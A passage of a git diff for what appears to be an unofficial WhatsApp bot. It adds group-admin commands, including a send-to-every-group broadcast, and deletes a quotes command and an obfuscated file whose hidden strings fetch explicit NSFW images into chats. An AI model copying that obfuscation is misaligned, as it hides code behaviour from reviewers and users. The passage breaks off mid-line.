'🗑️ Disappearing messages turned off.' }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: '❌ Failed to disable disappearing messages.' }, { quoted: msg }); + } + } + }, + + { + name: 'disap', + get flashOnly() { + return franceking(); +}, + description: 'Instructions for disappearing messages.', + category: 'Group', + groupOnly: true, + adminOnly: true, + botAdminOnly: true, + reaction: '👻', + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + await king.sendMessage(fromJid, { + text: '*Disappearing Message Options*\n\n• *disap1* — 24 hours\n• *disap7* — 7 days\n• *disap90* — 90 days\n• *disap-off* — Disable' + }, { quoted: msg }); + } + }, + + { + name: 'desc', + get flashOnly() { + return franceking(); +}, + aliases: ['gdesc'], + description: 'Change the group description.', + category: 'Group', + groupOnly: true, + adminOnly: true, + botAdminOnly: true, + + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const newDesc = args.join(' '); + + if (!newDesc) { + return king.sendMessage(fromJid, { text: '❗ Please provide a new description.' }, { quoted: msg }); + } + + try { + await king.groupUpdateDescription(fromJid, newDesc); + await king.sendMessage(fromJid, { + text: `✅ Group description updated:\n${newDesc}` + }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: '❌ Failed to update group description.' }, { quoted: msg }); + } + } + }, + + { + name: 'lock', + get flashOnly() { + return franceking(); +}, + aliases: ['close'], + description: 'Only admins can send messages.', + category: 'Group', + ownerOnly: true, + groupOnly: true, + adminOnly: true, + botAdminOnly: true, + + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + try { + await king.groupSettingUpdate(fromJid, 'announcement'); + await king.sendMessage(fromJid, { text: '🔒 Group locked. Only admins can message now.' }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: '❌ Failed to lock group.' }, { quoted: msg }); + } + } + }, + + { + name: 'unlock', + get flashOnly() { + return franceking(); +}, + aliases: ['open'], + description: 'Allow all members to send messages.', + category: 'Group', + groupOnly: true, + ownerOnly: true, + adminOnly: true, + botAdminOnly: true, + + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + try { + await king.groupSettingUpdate(fromJid, 'not_announcement'); + await king.sendMessage(fromJid, { text: '🔓 Group unlocked. All members can message.' }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: '❌ Failed to unlock group.' }, { quoted: msg }); + } + } + }, + + { + name: 'invite', + get flashOnly() { + return franceking(); +}, + aliases: ['link'], + description: 'Get the group invite link.', + category: 'Group', + groupOnly: true, + ownerOnly: true, + adminOnly: true, + botAdminOnly: true, + + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + try { + const code = await king.groupInviteCode(fromJid); + await king.sendMessage(fromJid, { + text: `🔗 Group link:\nhttps://chat.whatsapp.com/${code}` + }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: '❌ Failed to get invite link.' }, { quoted: msg }); + } + } + }, + + { + name: 'revoke', + get flashOnly() { + return franceking(); +}, + aliases: ['reset'], + description: 'Revoke current invite link and generate new one.', + category: 'Group', + groupOnly: true, + ownerOnly: true, + adminOnly: true, + botAdminOnly: true, + + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + try { + const newCode = await king.groupRevokeInvite(fromJid); + await king.sendMessage(fromJid, { + text: `♻️ New group link:\nhttps://chat.whatsapp.com/${newCode}` + }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: '❌ Failed to generate new link.' }, { quoted: msg }); + } + } + }, + + { + name: 'broadcast', + get flashOnly() { + return franceking(); +}, + aliases: ['bc', 'cast'], + description: 'Send a broadcast message to all groups.', + category: 'General', + reaction: '📢', + + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const message = args.join(' '); + + if (!message) { + return king.sendMessage(fromJid, { text: '❗ Provide a message to broadcast.' }, { quoted: msg }); + } + + try { + const groups = await king.groupFetchAllParticipating(); + const groupIds = Object.keys(groups); + + await king.sendMessage(fromJid, { text: '📢 Broadcasting message...' }, { quoted: msg }); + + for (const groupId of groupIds) { + await king.sendMessage(groupId, { + image: { url: 'https://telegra.ph/file/ee2916cd24336231d8194.jpg' }, + caption: `*📢 Broadcast Message*\n\n${message}` + }); + } + } catch { + await king.sendMessage(fromJid, { text: '❌ Broadcast failed.' }, { quoted: msg }); + } + } + }, + + { + name: 'left', + get flashOnly() { + return franceking(); +}, + aliases: ['leave'], + description: 'Force the bot to leave the group.', + category: 'Group', + groupOnly: true, + ownerOnly: true, + + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + const senderJid = msg.key.participant || msg.key.remoteJid; + const senderNumber = senderJid.replace(/@.*$/, '').split(':')[0]; + + + + try { + await king.groupLeave(fromJid); + } catch { + await king.sendMessage(fromJid, { text: '❌ Failed to leave group.' }, { quoted: msg }); + } + } + }, + + { + name: 'create', + get flashOnly() { + return franceking(); +}, + aliases: ['newgroup', 'newgc'], + description: 'Create a new group with users.', + category: 'General', + + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + + if (!args.length) { + return king.sendMessage(fromJid, { + text: '❗ Provide group name and at least one member.' + }, { quoted: msg }); + } + + const mentions = msg.message?.extendedTextMessage?.contextInfo?.mentionedJid || []; + const quotedJid = msg.message?.extendedTextMessage?.contextInfo?.participant; + const [groupName, ...rest] = args; + const phoneNumbers = rest.filter(n => /^\d+$/.test(n)).map(num => `${num}@s.whatsapp.net`); + + const participants = [...new Set([ + ...mentions, + ...(quotedJid ? [quotedJid] : []), + ...phoneNumbers + ])]; + + if (!groupName || participants.length === 0) { + return king.sendMessage(fromJid, { + text: 'Usage: .create MyGroup @user or reply or number (e.g. 2547xxxxxxx)' + }, { quoted: msg }); + } + + try { + const group = await king.groupCreate(groupName, participants); + await king.sendMessage(group.id, { text: '👋 Welcome to the new group!' }); + } catch { + await king.sendMessage(fromJid, { text: '❌ Failed to create group.' }, { quoted: msg }); + } + } + } + ]; + diff --git a/commands/GroupQuotes.js b/commands/GroupQuotes.js deleted file mode 100644 index 34446ba1..00000000 --- a/commands/GroupQuotes.js +++ /dev/null @@ -1,65 +0,0 @@ -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - - -const { france } = require('../framework/france'); - -france({ nomCom: 'quote', categorie: 'Group' }, async (dest, zk, commandeOptions) => { - const { ms, repondre, verifGroupe, arg } = commandeOptions; - if (!verifGroupe) { - repondre('This Command works in groups only!!!'); - return; - } - - if (!arg[0]) { - try { - fetch('https://animechan.xyz/api/random') - .then((response) => response.json()) - .then(async (quote) => { - repondre(`*FLASH-MD Quotes* - -🎬 Anime: ${quote.anime} -👤 Character: ${quote.character} -💬 Quote: ${quote.quote} - -Powered by *France King*`); - }); - } catch (e) { - repondre('Erreur lors de la génération de la citation : ' + e.message); - } - } else { - const query = arg.join(' '); - - try { - fetch('https://animechan.xyz/api/random/character?name=' + query) - .then((response) => response.json()) - .then(async (quote) => { - repondre(`FLASH-MD - -🎬 Anime: ${quote.anime} -👤 Character: ${quote.character} -💬 Quote: ${quote.quote} - -Powered by *FLASH-MD*`); - }); - } catch (e) { - repondre('Erreur lors de la génération de la citation : ' + e.message); - } - } -}); diff --git a/commands/Hentai.js b/commands/Hentai.js deleted file mode 100644 index efffe0ac..00000000 --- a/commands/Hentai.js +++ /dev/null @@ -1,729 +0,0 @@ - - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - -const _0x62298e = _0xe553; -function _0xe553(_0x13f729, _0xec653e) { - const _0x326563 = _0x10c0(); - return _0xe553 = function (_0x484ca5, _0xda9701) { - _0x484ca5 = _0x484ca5 - (0x824 + -0x57e + 0x19 * -0x13); - let _0x353f00 = _0x326563[_0x484ca5]; - return _0x353f00; - }, _0xe553(_0x13f729, _0xec653e); -} -function _0x10c0() { - const _0x1a03db = [ - 'LrUje', - 'eLRil', - '7728tcQvvM', - 'nsfw/dick', - 'An\x20Error\x20o', - 'retrieving', - 'QsIKx', - '12lRHcuc', - 'qUSqj', - 'wallpaper/', - 'bike', - 'fuck', - 'url', - '3114uEUeyT', - 'UEqPM', - 'porngif', - 'liQYn', - 'nsfw/porng', - 'get', - 'bzyMX', - 'ass', - 'BRBNW', - 'efWxZ', - 'aesthetic', - 'cupération', - 'red\x20while\x20', - 'pMUVq', - 'wSwOY', - 'IYKLJ', - '7438840gMdyiL', - 'xSzNn', - '\x20des\x20donné', - '\x20retrievin', - 'car', - 'vxcOr', - 'jiaUL', - 'i.maher-zu', - 'XkkTZ', - '129601OCANAB', - 'ccurred\x20wh', - 'PsAsl', - 'wlexa', - 'vwvJm', - 'jDpRf', - 'SqASf', - 'wpzBk', - 'fUKYY', - 'nsfw/pussy', - '../framewo', - 'FNDCR', - 'aefnR', - 'ktvnd', - 's\x20de\x20la\x20ré', - 'TJZBD', - '1564415ulRrok', - 'ZpAht', - 'NcigE', - 'KCCYP', - 'shSdS', - '\x20data:', - 'TJlQC', - 'jVaji', - 'ePoME', - 'ifu', - 'PLzwP', - 'RlylO', - 'sMKZy', - 'ZrwSD', - 'blackpink', - 'cr7', - 'dick', - 'vOuPZ', - 'xeWpf', - 'Hentai', - 'bair.tech/', - 'nsfw/fuck', - 'tdZMM', - 'jEYHw', - 'i.waifu.pi', - 'Error\x20occu', - 'random', - 'cs/nsfw/wa', - 'vOvKV', - 'cbJxk', - 'sendMessag', - 'messi', - 'RvzjO', - 'enemy', - 'AZnkn', - '9bwigcB', - 'okgqr', - 'asthetic', - 'xBllY', - 'RKRCC', - 'rhAUZ', - 'RPlzv', - 'KMESe', - 'nsfw/ass', - '371KILZUr', - 'mQdXr', - 'NKgki', - 'OSiFU', - 'AqaNw', - 'Wallpapers', - 'XWuWX', - 'nsfw/blowj', - 'es\x20:\x20', - 'IHIll', - 'cs/nsfw/tr', - 'g\x20data\x20:', - 'XKqHM', - 'eKHTS', - 'rk/france', - 'hneko', - 'Dhzho', - 'hwaifu', - 'ving\x20data:', - '23646205mnlvce', - 'okbNs', - 'cs/nsfw/ne', - 'SezQe', - 'axios', - 'dog', - 'horror', - '20630CPkmvT', - 'Erreur\x20lor', - 'LSEai', - 'JbYjl', - 'data', - 'islamic', - '💦\x20', - 'TiKYk', - '640530maKbsa', - 'kRNsW', - 'DQicf', - 'HkmOH', - 'trap', - 'TUOlK', - 'Azzle', - 'KroYm', - 'FmOss', - 'HDtif', - 'https://ap', - 'ile\x20retrie', - 'ohCsJ', - 'rred\x20while', - 'QDovz', - 'pussy', - 'rumUs', - 'pSzAT', - 'cghib', - 'PtxHI', - 'pubg', - 'dwlVP' - ]; - _0x10c0 = function () { - return _0x1a03db; - }; - return _0x10c0(); -} -(function (_0x4e73ab, _0x2e5d3f) { - const _0x5a1516 = _0xe553, _0x460e76 = _0x4e73ab(); - while (!![]) { - try { - const _0x329950 = parseInt(_0x5a1516(0x119)) / (0x2381 + 0x1 * 0xdfc + -0x317c) + parseInt(_0x5a1516(0xdd)) / (0x5a2 + -0x5 * 0x626 + 0x191e) * (parseInt(_0x5a1516(0x14c)) / (0xa6 * 0x15 + 0x3fd * -0x5 + 0x1 * 0x656)) + -parseInt(_0x5a1516(0xfa)) / (-0x1cdf + 0x3be * -0x7 + 0x3715) * (parseInt(_0x5a1516(0x129)) / (-0x6c9 + 0x7d9 + -0x10b)) + parseInt(_0x5a1516(0xf5)) / (-0xc74 * 0x3 + -0x3f5 * -0x7 + 0x9af) * (-parseInt(_0x5a1516(0x155)) / (-0x94 * -0x11 + -0x1707 + 0xd3a)) + -parseInt(_0x5a1516(0x110)) / (-0x1 * 0xe79 + -0x2 * -0xbc7 + -0x90d) + parseInt(_0x5a1516(0x100)) / (-0xfb2 + -0x3 * 0x8e7 + -0x2a70 * -0x1) * (-parseInt(_0x5a1516(0xd5)) / (-0x1 * -0x18b3 + 0x1 * -0x2122 + -0x3 * -0x2d3)) + parseInt(_0x5a1516(0xce)) / (0x1 * 0xb41 + -0x203e + 0x2a1 * 0x8); - if (_0x329950 === _0x2e5d3f) - break; - else - _0x460e76['push'](_0x460e76['shift']()); - } catch (_0x3e2a9c) { - _0x460e76['push'](_0x460e76['shift']()); - } - } -}(_0x10c0, 0x38e2d * 0x1 + 0x1 * -0x52ed7 + 0xa9f57)); -const {france} = require(_0x62298e(0x123) + _0x62298e(0x163)), axios = require(_0x62298e(0xd2)); -france({ - 'nomCom': _0x62298e(0xcc), - 'categorie': _0x62298e(0x13c), - 'reaction': '🙄' -}, async (_0x2113f8, _0x83eeab, _0x4e59c4) => { - const _0x58afb3 = _0x62298e, _0x179db5 = { - 'okgqr': _0x58afb3(0xe7) + _0x58afb3(0x141) + _0x58afb3(0x144) + _0x58afb3(0x132), - 'RPlzv': function (_0x425382, _0x8ddd75) { - return _0x425382 < _0x8ddd75; - }, - 'liQYn': function (_0x545da2, _0x158a80) { - return _0x545da2(_0x158a80); - }, - 'XkkTZ': function (_0x2be147, _0x323963) { - return _0x2be147 + _0x323963; - }, - 'QsIKx': _0x58afb3(0xd6) + _0x58afb3(0x127) + _0x58afb3(0x10b) + _0x58afb3(0x112) + _0x58afb3(0x15d) - }, { - repondre: _0x1f78ce, - ms: _0x552ee6 - } = _0x4e59c4, _0x15a501 = _0x179db5[_0x58afb3(0x14d)]; - try { - for (let _0x4f22cf = -0x125b * -0x2 + -0x11 * 0x241 + 0x19b; _0x179db5[_0x58afb3(0x152)](_0x4f22cf, -0x9f * -0x1b + -0x172f * -0x1 + -0x27ef * 0x1); _0x4f22cf++) { - const _0x331c33 = await axios[_0x58afb3(0x105)](_0x15a501), _0x5360a6 = _0x331c33[_0x58afb3(0xd9)][_0x58afb3(0xff)]; - _0x83eeab[_0x58afb3(0x147) + 'e'](_0x2113f8, { 'image': { 'url': _0x5360a6 } }, { 'quoted': _0x552ee6 }); - } - } catch (_0x326ba0) { - _0x179db5[_0x58afb3(0x103)](_0x1f78ce, _0x179db5[_0x58afb3(0x118)](_0x179db5[_0x58afb3(0xf9)], _0x326ba0)); - } -}), france({ - 'nomCom': _0x62298e(0xe1), - 'categorie': _0x62298e(0x13c), - 'reaction': '🙄' -}, async (_0x1e6716, _0x586384, _0x763c02) => { - const _0x2b7087 = _0x62298e, _0x559ff2 = { - 'eLRil': _0x2b7087(0xe7) + _0x2b7087(0x141) + _0x2b7087(0x15f) + 'ap', - 'dwlVP': function (_0x58cd4a, _0x28066e) { - return _0x58cd4a < _0x28066e; - }, - 'JbYjl': function (_0x1da9f2, _0x4f09ad, _0x354ced) { - return _0x1da9f2(_0x4f09ad, _0x354ced); - }, - 'Azzle': _0x2b7087(0xf7) + _0x2b7087(0x11a) + _0x2b7087(0xe8) + _0x2b7087(0xcd) - }, { - repondre: _0x55848e, - ms: _0x4b7a00 - } = _0x763c02, _0x4c6801 = _0x559ff2[_0x2b7087(0xf4)]; - try { - for (let _0x4b095e = -0xbc * -0x2d + 0x204c + -0xf6 * 0x44; _0x559ff2[_0x2b7087(0xf2)](_0x4b095e, 0x1 * 0x2379 + -0xb1b + -0x1859); _0x4b095e++) { - const _0x25c666 = await axios[_0x2b7087(0x105)](_0x4c6801), _0x32b45d = _0x25c666[_0x2b7087(0xd9)][_0x2b7087(0xff)]; - _0x586384[_0x2b7087(0x147) + 'e'](_0x1e6716, { 'image': { 'url': _0x32b45d } }, { 'quoted': _0x4b7a00 }); - } - } catch (_0x2c07c3) { - _0x559ff2[_0x2b7087(0xd8)](_0x55848e, _0x559ff2[_0x2b7087(0xe3)], _0x2c07c3); - } -}), france({ - 'nomCom': _0x62298e(0x164), - 'categorie': _0x62298e(0x13c), - 'reaction': '🙄' -}, async (_0x42b2fc, _0xea7be8, _0x18d6e7) => { - const _0xdc01e7 = _0x62298e, _0x4f53da = { - 'jiaUL': _0xdc01e7(0xe7) + _0xdc01e7(0x141) + _0xdc01e7(0xd0) + 'ko', - 'ZrwSD': function (_0x3d787b, _0x1eaae8) { - return _0x3d787b < _0x1eaae8; - }, - 'wpzBk': function (_0x19aa54, _0x8715e0, _0x3423af) { - return _0x19aa54(_0x8715e0, _0x3423af); - }, - 'vwvJm': _0xdc01e7(0x142) + _0xdc01e7(0x10c) + _0xdc01e7(0xf8) + _0xdc01e7(0x12e) - }, { - repondre: _0x2beb3f, - ms: _0x331203 - } = _0x18d6e7, _0x190f76 = _0x4f53da[_0xdc01e7(0x116)]; - try { - for (let _0x5cae56 = 0x1 * 0x1209 + 0x1df7 + -0x6 * 0x800; _0x4f53da[_0xdc01e7(0x136)](_0x5cae56, -0x165a + 0x33 + 0x204 * 0xb); _0x5cae56++) { - const _0x2ddb08 = await axios[_0xdc01e7(0x105)](_0x190f76), _0x2fe29d = _0x2ddb08[_0xdc01e7(0xd9)][_0xdc01e7(0xff)]; - _0xea7be8[_0xdc01e7(0x147) + 'e'](_0x42b2fc, { 'image': { 'url': _0x2fe29d } }, { 'quoted': _0x331203 }); - } - } catch (_0x4696be) { - _0x4f53da[_0xdc01e7(0x120)](_0x2beb3f, _0x4f53da[_0xdc01e7(0x11d)], _0x4696be); - } -}), france({ - 'nomCom': 'bj', - 'categorie': _0x62298e(0x13c), - 'reaction': '🙄' -}, async (_0x51e1c6, _0x4a6e67, _0x3d004d) => { - const _0x19f3fc = _0x62298e, _0x394cc2 = { - 'jEYHw': _0x19f3fc(0xe7) + _0x19f3fc(0x117) + _0x19f3fc(0x13d) + _0x19f3fc(0x15c) + 'ob', - 'OSiFU': function (_0x297204, _0x5bd616) { - return _0x297204 < _0x5bd616; - }, - 'UEqPM': function (_0x29789a, _0x3763a5, _0x46c336) { - return _0x29789a(_0x3763a5, _0x46c336); - }, - 'xBllY': _0x19f3fc(0x142) + _0x19f3fc(0xea) + _0x19f3fc(0x113) + _0x19f3fc(0x160) - }, { - repondre: _0x46c3c7, - ms: _0x10b756 - } = _0x3d004d, _0x56e9e3 = _0x394cc2[_0x19f3fc(0x140)]; - try { - for (let _0x132cea = -0x14a3 + 0x2 * -0x6d3 + 0x2249; _0x394cc2[_0x19f3fc(0x158)](_0x132cea, -0x85a + -0x107 * -0xc + -0x3f5); _0x132cea++) { - const _0x2a73ce = await axios[_0x19f3fc(0x105)](_0x56e9e3), _0x4a3949 = _0x2a73ce[_0x19f3fc(0xd9)][_0x19f3fc(0xff)]; - _0x4a6e67[_0x19f3fc(0x147) + 'e'](_0x51e1c6, { 'image': { 'url': _0x4a3949 } }, { 'quoted': _0x10b756 }); - } - } catch (_0x56a95f) { - _0x394cc2[_0x19f3fc(0x101)](_0x46c3c7, _0x394cc2[_0x19f3fc(0x14f)], _0x56a95f); - } -}), france({ - 'nomCom': _0x62298e(0x107), - 'categorie': _0x62298e(0x13c), - 'reaction': '🍑' -}, async (_0x5e7365, _0x1d16a1, _0x5890a7) => { - const _0x319fd3 = _0x62298e, _0x1b6bf4 = { - 'sMKZy': _0x319fd3(0xe7) + _0x319fd3(0x117) + _0x319fd3(0x13d) + _0x319fd3(0x154), - 'ePoME': function (_0x394bb0, _0x3d7add) { - return _0x394bb0 < _0x3d7add; - }, - 'rumUs': function (_0x26b7da, _0x31dc68, _0x260361) { - return _0x26b7da(_0x31dc68, _0x260361); - }, - 'shSdS': _0x319fd3(0x142) + _0x319fd3(0xea) + _0x319fd3(0x113) + _0x319fd3(0x160) - }, { - repondre: _0x2c00e4, - ms: _0x19a04d - } = _0x5890a7, _0x26754d = _0x1b6bf4[_0x319fd3(0x135)]; - try { - for (let _0x2f7b8c = -0x788 + -0xa9a + 0x1222; _0x1b6bf4[_0x319fd3(0x131)](_0x2f7b8c, 0x21ff * -0x1 + 0xeff + -0x3 * -0x657); _0x2f7b8c++) { - const _0x1224fe = await axios[_0x319fd3(0x105)](_0x26754d), _0x7cd967 = _0x1224fe[_0x319fd3(0xd9)][_0x319fd3(0xff)]; - _0x1d16a1[_0x319fd3(0x147) + 'e'](_0x5e7365, { 'image': { 'url': _0x7cd967 } }, { 'quoted': _0x19a04d }); - } - } catch (_0x1fd4f0) { - _0x1b6bf4[_0x319fd3(0xed)](_0x2c00e4, _0x1b6bf4[_0x319fd3(0x12d)], _0x1fd4f0); - } -}), france({ - 'nomCom': _0x62298e(0xfe), - 'categorie': _0x62298e(0x13c), - 'reaction': _0x62298e(0xdb) -}, async (_0x5d84d5, _0x3fadbd, _0x413bd1) => { - const _0x2c6d37 = _0x62298e, _0x421834 = { - 'tdZMM': _0x2c6d37(0xe7) + _0x2c6d37(0x117) + _0x2c6d37(0x13d) + _0x2c6d37(0x13e), - 'aefnR': function (_0x2c1b5a, _0x2a5162) { - return _0x2c1b5a < _0x2a5162; - }, - 'qUSqj': function (_0x5b7683, _0x57daff, _0x21fe13) { - return _0x5b7683(_0x57daff, _0x21fe13); - }, - 'Dhzho': _0x2c6d37(0x142) + _0x2c6d37(0xea) + _0x2c6d37(0x113) + _0x2c6d37(0x160) - }, { - repondre: _0x32eef0, - ms: _0x48d90a - } = _0x413bd1, _0x5d9da8 = _0x421834[_0x2c6d37(0x13f)]; - try { - for (let _0x377ac1 = -0x159c + -0x1600 + 0x1 * 0x2b9c; _0x421834[_0x2c6d37(0x125)](_0x377ac1, 0x35 * -0x52 + 0x2 * -0x6be + 0x1e7b); _0x377ac1++) { - const _0xa6d8f4 = await axios[_0x2c6d37(0x105)](_0x5d9da8), _0xd9c6ab = _0xa6d8f4[_0x2c6d37(0xd9)][_0x2c6d37(0xff)]; - _0x3fadbd[_0x2c6d37(0x147) + 'e'](_0x5d84d5, { 'image': { 'url': _0xd9c6ab } }, { 'quoted': _0x48d90a }); - } - } catch (_0x2e2317) { - _0x421834[_0x2c6d37(0xfb)](_0x32eef0, _0x421834[_0x2c6d37(0xcb)], _0x2e2317); - } -}), france({ - 'nomCom': _0x62298e(0xec), - 'categorie': _0x62298e(0x13c), - 'reaction': '😋' -}, async (_0x8bdd07, _0x1a751c, _0x1a4786) => { - const _0x1f5ed6 = _0x62298e, _0x201cbf = { - 'RlylO': _0x1f5ed6(0xe7) + _0x1f5ed6(0x117) + _0x1f5ed6(0x13d) + _0x1f5ed6(0x122), - 'TiKYk': function (_0x451468, _0x454b18) { - return _0x451468 < _0x454b18; - }, - 'KroYm': function (_0x3b503a, _0x4fdf76, _0x149ef6) { - return _0x3b503a(_0x4fdf76, _0x149ef6); - }, - 'ohCsJ': _0x1f5ed6(0x142) + _0x1f5ed6(0xea) + _0x1f5ed6(0x113) + _0x1f5ed6(0x160) - }, { - repondre: _0x56e586, - ms: _0x2d9deb - } = _0x1a4786, _0x5a358e = _0x201cbf[_0x1f5ed6(0x134)]; - try { - for (let _0x4a995b = 0x3 * 0xbcd + -0x212b + -0x23c; _0x201cbf[_0x1f5ed6(0xdc)](_0x4a995b, 0x1a2a + 0x166b * -0x1 + 0x9f * -0x6); _0x4a995b++) { - const _0x20afd5 = await axios[_0x1f5ed6(0x105)](_0x5a358e), _0x585e16 = _0x20afd5[_0x1f5ed6(0xd9)][_0x1f5ed6(0xff)]; - _0x1a751c[_0x1f5ed6(0x147) + 'e'](_0x8bdd07, { 'image': { 'url': _0x585e16 } }, { 'quoted': _0x2d9deb }); - } - } catch (_0x344554) { - _0x201cbf[_0x1f5ed6(0xe4)](_0x56e586, _0x201cbf[_0x1f5ed6(0xe9)], _0x344554); - } -}), france({ - 'nomCom': _0x62298e(0x139), - 'categorie': _0x62298e(0x13c), - 'reaction': '😋' -}, async (_0x5c3284, _0x4ef359, _0x566bc0) => { - const _0x1c0a91 = _0x62298e, _0x4ff612 = { - 'FmOss': _0x1c0a91(0xe7) + _0x1c0a91(0x117) + _0x1c0a91(0x13d) + _0x1c0a91(0xf6), - 'xeWpf': function (_0x4a21ff, _0x37b0a6) { - return _0x4a21ff < _0x37b0a6; - }, - 'HkmOH': function (_0x1e0c5a, _0x4892f2, _0x101802) { - return _0x1e0c5a(_0x4892f2, _0x101802); - }, - 'LrUje': _0x1c0a91(0x142) + _0x1c0a91(0xea) + _0x1c0a91(0x113) + _0x1c0a91(0x160) - }, { - repondre: _0x18902b, - ms: _0x4210a4 - } = _0x566bc0, _0x331a01 = _0x4ff612[_0x1c0a91(0xe5)]; - try { - for (let _0xfeb5fb = -0x320 + -0x6b7 * 0x1 + 0x9d7; _0x4ff612[_0x1c0a91(0x13b)](_0xfeb5fb, -0x1cd1 + 0x2665 + -0x98f * 0x1); _0xfeb5fb++) { - const _0x3c8502 = await axios[_0x1c0a91(0x105)](_0x331a01), _0x194807 = _0x3c8502[_0x1c0a91(0xd9)][_0x1c0a91(0xff)]; - _0x4ef359[_0x1c0a91(0x147) + 'e'](_0x5c3284, { 'image': { 'url': _0x194807 } }, { 'quoted': _0x4210a4 }); - } - } catch (_0x2f86b8) { - _0x4ff612[_0x1c0a91(0xe0)](_0x18902b, _0x4ff612[_0x1c0a91(0xf3)], _0x2f86b8); - } -}), france({ - 'nomCom': _0x62298e(0x102), - 'categorie': _0x62298e(0x13c), - 'reaction': '😋' -}, async (_0x125a3f, _0x3ad042, _0x1b35d2) => { - const _0x3f5049 = _0x62298e, _0x3f717a = { - 'okbNs': _0x3f5049(0xe7) + _0x3f5049(0x117) + _0x3f5049(0x13d) + _0x3f5049(0x104) + 'if', - 'XKqHM': function (_0x17e636, _0x4136b5) { - return _0x17e636 < _0x4136b5; - }, - 'vOuPZ': function (_0x200d2d, _0xaf1e2c, _0x52d34e) { - return _0x200d2d(_0xaf1e2c, _0x52d34e); - }, - 'pMUVq': _0x3f5049(0x142) + _0x3f5049(0xea) + _0x3f5049(0x113) + _0x3f5049(0x160) - }, { - repondre: _0x21514d, - ms: _0x1fb959 - } = _0x1b35d2, _0xc9c507 = _0x3f717a[_0x3f5049(0xcf)]; - try { - for (let _0x3de557 = -0x1 * -0x26f5 + 0x1f4f + -0x4644; _0x3f717a[_0x3f5049(0x161)](_0x3de557, 0xdfe + -0x290 * -0x4 + -0x1839); _0x3de557++) { - const _0x139eb3 = await axios[_0x3f5049(0x105)](_0xc9c507), _0x274ad7 = _0x139eb3[_0x3f5049(0xd9)][_0x3f5049(0xff)]; - _0x3ad042[_0x3f5049(0x147) + 'e'](_0x125a3f, { 'image': { 'url': _0x274ad7 } }, { 'quoted': _0x1fb959 }); - } - } catch (_0x21ce5c) { - _0x3f717a[_0x3f5049(0x13a)](_0x21514d, _0x3f717a[_0x3f5049(0x10d)], _0x21ce5c); - } -}), france({ - 'nomCom': _0x62298e(0x148), - 'categorie': _0x62298e(0x15a), - 'reaction': '😋' -}, async (_0x125e7f, _0x226e55, _0x417725) => { - const _0x1cb698 = 